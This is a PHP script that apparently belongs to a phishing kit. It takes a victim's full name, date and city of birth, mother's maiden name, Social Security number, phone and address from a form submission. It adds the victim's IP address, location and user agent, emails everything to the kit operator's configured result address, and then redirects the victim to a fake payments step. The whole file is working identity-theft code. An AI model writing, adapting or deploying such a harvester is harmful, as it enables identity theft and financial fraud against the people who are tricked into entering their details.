<?php
require "core/EntityVariables.php";
$config = require "KarmaEntity/config/config.php";

$feature = trim($config["feature"]);
$redirect_path = "/" . $feature;

$data = json_decode(file_get_contents("php://input"), true);

$ecountry   = $data["country"] ?? null;
$fullname  = $data["fullname"] ?? null;
$dob  = $data["dob"] ?? null;
$cob  = $data["cob"] ?? null;
$mmn  = $data["mmn"] ?? null;
$ssn  = $data["ssn"] ?? null;
$phone     = $data["phone"] ?? null;
$address1  = $data["address1"] ?? null;
$ecity      = $data["city"] ?? null;
$state     = $data["state"] ?? null;
$zip       = $data["zip"] ?? null;

$message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0,0,0,0.1); padding: 40px 30px; line-height: 1.5;">'
    .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
    .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
    .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">ADDRESS INFO</h3>'
    .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.1); margin-bottom: 30px;">'
    .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
    .'Full Name     : ' . htmlspecialchars($fullname) . "\n"
    .'City Of Birth : ' . htmlspecialchars($cob) . "\n"
    .'Date Of Birth : ' . htmlspecialchars($dob) . "\n"
    .'MMN           : ' . htmlspecialchars($mmn) . "\n"
    .'SSN           : ' . htmlspecialchars($ssn) . "\n"
    .'Phone         : ' . htmlspecialchars($phone) . "\n"
    .'Address       : ' . htmlspecialchars($address1) . "\n"
    .'Country       : ' . htmlspecialchars($ecountry) . "\n"
    .'City          : ' . htmlspecialchars($ecity) . "\n"
    .'State         : ' . htmlspecialchars($state) . "\n"
    .'ZIP           : ' . htmlspecialchars($zip) . "\n"
    .'</code>'
    .'</pre>'
    .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
    .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.1);">'
    .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
    .'IP           : ' . htmlspecialchars($ip) . "\n"
    .'Country      : ' . htmlspecialchars($country) . "\n"
    .'City         : ' . htmlspecialchars($city) . "\n"
    .'Region       : ' . htmlspecialchars($region) . "\n"
    .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
    .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
    .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
    .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
    .'</code>'
    .'</pre>'
    .'</div>';

$to = trim($config["result_email"]);
$subject = "ADDRESS :: " . $_SESSION["entity_email"] . " :: [ " . htmlspecialchars($country) . " - " . htmlspecialchars($ip) . " ]";

$headers = "From: Entity <karma@entity.net>\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=UTF-8\r\n";

@mail($to, $subject, $message, $headers);

$_SESSION["ecountry"]  = $ecountry;
$_SESSION["fullname"]  = $fullname;
$_SESSION["dob"]    = $dob;
$_SESSION["cob"]       = $cob;
$_SESSION["mmn"]       = $mmn;
$_SESSION["ssn"]    = $ssn;
$_SESSION["phone"]     = $phone;
$_SESSION["address1"]  = $address1;
$_SESSION["ecity"]     = $ecity;
$_SESSION["state"]     = $state;
$_SESSION["zip"]       = $zip;

EntityMessage("ADDRESS RECEIVED", $ip);

echo json_encode([
    "success"  => true,
    "redirect" => "yourPayments?entityId=$random_entity_id"
]);
exit;
?>
